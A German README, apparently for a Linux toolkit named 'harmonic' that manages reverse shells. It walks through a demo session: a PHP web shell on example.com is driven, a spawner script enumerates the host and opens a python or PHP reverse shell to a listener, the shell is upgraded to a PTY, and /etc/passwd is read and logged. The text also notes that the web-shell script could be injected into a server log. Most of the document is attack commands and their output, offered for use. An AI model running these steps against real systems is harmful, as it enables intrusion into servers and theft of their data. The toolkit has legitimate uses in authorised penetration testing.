
Suite zur Handhabung von Reverse Shells, zugeschnitten auf die Arbeit in der nativen Shell
Beginn eines Linux-Toolsets für die Verwaltung und Interaktion mit Reverse Shells (der Code befindet sich derzeit noch in einem Quick-and-Dirty-Zustand, mit wenig Exception-Behandlung). Stark inspiriert von der UNIX-Philosophie besteht die Grundidee darin, einen Daemon für die Verwaltung beliebiger Endpunkte zu haben (connd, obwohl es noch kein richtiger Daemon ist, aber in einem separaten Terminal laufen kann) und Tools gegen diese Endpunkte auszuführen.
Endpunkte werden von einem Skript oder einem Prozess 'angetrieben' und als Dateien im Dateisystem verfügbar gemacht. Anschließend kann ein schlanker Software-Client verwendet werden, um mit ihnen zu interagieren, aber sie können genauso einfach mit Shell-Befehlen beschrieben und gelesen werden. Tatsächlich ist die Möglichkeit, die Skripte eigenständig von der Shell aus auszuführen, ein wichtiges Design-Kriterium, bei dem idealerweise ein Skript höchstens von einem vorhandenen Endpunkt abhängt, aber auch in Kombination verwendet werden kann (ineinander greifen).
Die aktuellen Endpunktoptionen sind:
Der schlanke Software-Client (hthinc.py) bietet eine grundlegende Schnittstelle zum Endpunkt des Systems sowie die Möglichkeit, schnell Skripte gegen das System auszuführen. Es wurden mehrere einfache, aber nützliche Skripte geschrieben:
Die Arten von Reverse-Shell-Treibern (d. h. was die Shell auf dem entfernten System antreibt) sind die folgenden (derzeit Unterstützung für Linux):
Weitere Skripte:
Weisen Sie connd an, einen Endpunkt zu starten, unter Verwendung eines Wedge-Shell-Treibers gegen das bereitgestellte PHP-Skript, das Systemaufrufe mit formatierter Antwort durchführt. Dieses einzeilige Skript hätte jedoch genauso gut als Code in ein Server-Log injiziert werden können.
$ hconnd.py start wsh http://example.com/hwsh.php
1
Dadurch wurde Endpunkt 1 erstellt (zwei I/O-Pipes -- Sie können sie als t1i und t1o im Unterverzeichnis run sehen). Jetzt verwenden wir hthinc.py, um mit der Shell zu interagieren.
$ hthinc.py 1
<harmonic> thinc
runik@hwsh:example.com /var/www/public_html $ whoami
www-data
% 0
runik@hwsh:example.com /var/www/public_html $ uname -a
Linux green 4.4.0-83-generic #106-Ubuntu SMP Mon Jun 26 17:54:43 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
% 0
Wir wissen, dass es sich um eine Linux-Box handelt. Wir wollen von einer eingeklemmten Web-Shell weg und eine richtige Shell bekommen. Die Ausführung des integrierten Befehls !help liefert die thinc-Hilfemeldung. Wir können ein Skript sp ausführen, das automatisch Befehle gegen das entfernte System ausführt, die Umgebung enumeriert, einen nc-Endpunkt startet, eine Reverse-Shell erzeugt und automatisch über ein neues hthinc.py einsteigt:
runik@hwsh:example.com /var/www/public_html $ !run sp LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+] Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
Oder wenn wir wissen, dass wir (zum Beispiel) PHP als Treiber verwenden, können wir das angeben:
runik@hwsh:example.com /var/www/public_html $ !run sp DRIVER=php LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Generating php reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
Und wenn wir eine Shell ohne TTY haben oder ausbrechen wollen, können wir eines der Standard-Makros ausführen:
$ tty
no tty
$ !run mac pty
[email protected]:/var/www/html/$
Wenn wir außerdem die Ausgabe eines Befehls protokollieren möchten, können wir das log-Skript verwenden, das sie im aktuellen Arbeitsverzeichnis speichert:
$ !run log cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
df12:x:1000:1000::/home/df12:/bin/zsh
[+] Saved to /home/examples/10.0.2.12/post/cat__etc_passwd_0
Während Endpunkte laufen, können Sie Clients anhängen/abhängen, da die Verbindungsprozesse vom Daemon verwaltet werden.
Da alles auf eine eher unix-artige Weise ausgeführt werden kann, können wir Prozesse schnell von der Shell aus wiederholen. Wir starten einen Webshell-Endpunkt, erhalten die Endpunkt-ID und führen dann von der Shell aus das Spawner-Skript sp.py gegen den Endpunkt aus (es ist dasselbe Skript wie in hthinc.py, verwendet jedoch einen anderen Einstiegspunkt).
$ hconn.py start wsh http://example.com/hwsh.php
1
$ hscr.py 1 sp 4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+] Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
oder als Einzeiler:
$ hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
und einfach automatisieren:
$ cat reverse.sh
#!/bin/bash
hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
$ ./reverse.sh
<harmonic> basic shell spawner
[+] Running enumeration...
...
$
Das Tool hcmd.py ermöglicht es Ihnen, schnell einen Befehl über einen Endpunkt von Ihrer Shell aus auszuführen.